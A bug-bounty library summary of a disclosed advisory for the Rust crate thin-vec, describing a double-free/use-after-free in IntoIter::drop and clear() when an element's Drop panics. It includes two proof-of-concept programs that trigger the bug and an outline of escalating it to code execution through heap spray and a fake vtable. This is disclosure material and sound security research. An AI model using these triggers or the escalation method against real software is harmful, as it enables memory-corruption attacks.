# thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

thin-vec's IntoIter::drop and clear() skip set_len(0) when an element's Drop panics, causing double-free/UAF of already-freed elements during unwinding.

- Payout: Research
- Severity: high
- Program: thin-vec
- Found by: cloudchatsonny-stack
- Disclosed: 2026-04-15
- CVE: CVE-2026-6654
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xphw-cqx3-667j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xphw-cqx3-667j
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:rust technique:chained technique:source-review vuln:dos vuln:memory-corruption

**Target:** Rust crate thin-vec (IntoIter::drop, ThinVec::clear)
**Root cause:** drop_in_place over remaining elements runs before set_len(0); if an element's Drop panics, the length reset is skipped and unwinding drops the container again, re-freeing already-freed elements. std::vec::IntoIter guards this with a DropGuard, thin-vec does not.
**Steps:**
1. Use thin-vec 0.2.14 with a nightly toolchain.
2. Define an element type whose Drop panics on a sentinel value (e.g. `PanicBomb` panicking when `self.0 == "panic"`).
3. Push normal1, panic, normal2 into a ThinVec.
4. For IntoIter: `let mut iter = v.into_iter(); iter.next();` then drop iter — panic at the sentinel element leaves set_len_non_singleton(0) unreached.
5. For clear: wrap `v.clear()` in `panic::catch_unwind(panic::AssertUnwindSafe(...))`; panic at sentinel skips set_len(0).
6. Observe double drop of normal1 via `cargo +nightly miri run` or `RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release`.
**How found:** Compared thin-vec's IntoIter::drop against std::vec::IntoIter, noticing std uses a DropGuard to guarantee length reset on panic while thin-vec calls set_len_non_singleton(0) only after drop_in_place; same pattern spotted in clear(). Confirmed UB with Miri and ASAN.
**Exploitation:** Trigger requires a panicking Drop impl on a heap-owning element while dropping a partially-consumed IntoIter or calling clear(). Double Drop re-frees the element; with Box<dyn Trait> elements the freed 16-byte fat pointer slot can be reclaimed via heap spray with an attacker-controlled fake vtable, redirecting subsequent Drop calls to attacker code (ACE).
**Escalation:** Chaining the double-free with heap spray of Box<dyn Trait> fat pointers to hijack the vtable and achieve arbitrary code execution.
**Insight:** When auditing Rust containers, diff panic-unwind paths against std's DropGuard pattern: any drop_in_place followed by a length/state reset without an RAII guard is a double-free candidate, and Box<dyn Trait> elements turn it into vtable hijack.

## Proof of concept (copied exactly from the original report)

**PoC-1 IntoIter::drop double free**

```
use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}
```

**PoC-2 ThinVec::clear double free**

```
use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}
```

